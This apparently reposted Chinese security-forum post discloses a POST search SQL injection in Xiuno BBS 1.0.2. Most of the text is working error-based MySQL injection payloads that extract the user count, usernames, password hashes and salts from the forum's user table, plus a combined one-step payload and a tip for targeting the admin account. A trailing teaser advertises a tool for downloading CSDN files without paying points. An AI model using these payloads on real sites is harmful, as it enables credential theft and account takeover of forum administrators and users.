By：lostwolf
前段时间爆出 Xiuno bbs 后台拿shell
无意中翻了下代码发现 搜索型注入漏洞（POST）
magic_quotes_gpc = Off
获取用户个数
|
' AND (SELECT 1600 FROM(SELECT COUNT(*),CONCAT(0x6c6f7374776f6c667e,(SELECT MID((IFNULL(CAST(COUNT(*) AS CHAR),0x20)),1,50) FROM www_userfield),0x7e7430306c73,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) AND 'lost'='lost |
获取用户名：
|
' AND (SELECT 3849 FROM(SELECT COUNT(*),CONCAT(0x6c6f7374776f6c667e,(SELECT MID((IFNULL(CAST(username AS CHAR),0x20)),1,50) FROM www_userfield LIMIT 0,1),0x7e7430306c73,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) AND 'lost'='lost |
获取密码:
|
' AND (SELECT 7750 FROM(SELECT COUNT(*),CONCAT(0x6c6f7374776f6c667e,(SELECT MID((IFNULL(CAST(password AS CHAR),0x20)),1,50) FROM www_userfield LIMIT 0,1),0x7e7430306c73,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) AND 'lost'='lost |
获取salt:
|
' AND (SELECT 7750 FROM(SELECT COUNT(*),CONCAT(0x6c6f7374776f6c667e,(SELECT MID((IFNULL(CAST(salt AS CHAR),0x20)),1,50) FROM www_userfield LIMIT 0,1),0x7e7430306c73,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) AND 'lost'='lost |
一步获取
|
' AND (SELECT 2861 FROM(SELECT COUNT(*),CONCAT((SELECT concat(0x757365726e616d653a,username,0x3b70617373776f72643a,password,0x3a,salt) FROM www_userfield limit 0,1),FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) AND 'MOBL'='MOBL |
note:
LIMIT = 用户个数-1,1
xx FROM www_userfield where username='admin';
文章来源于lcx.cc:修罗(Xiuno 1.0.2) bbs 注入漏洞
相关推荐: CSDN免积分下载工具 + 原理讨论 + 源代码 + 你妹……
CSDN免积分下载工具一枚，刚刚出炉。。。 yofx | 2013-04-20 15:22 失误。。。选了个0积分的。。。不过要积分的还是测试过了。。木有问题的 下载地址:csdn什么都免下载器.zip WIN7无压力。。。 无节操讨论： 1# 苦战 | 20…
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论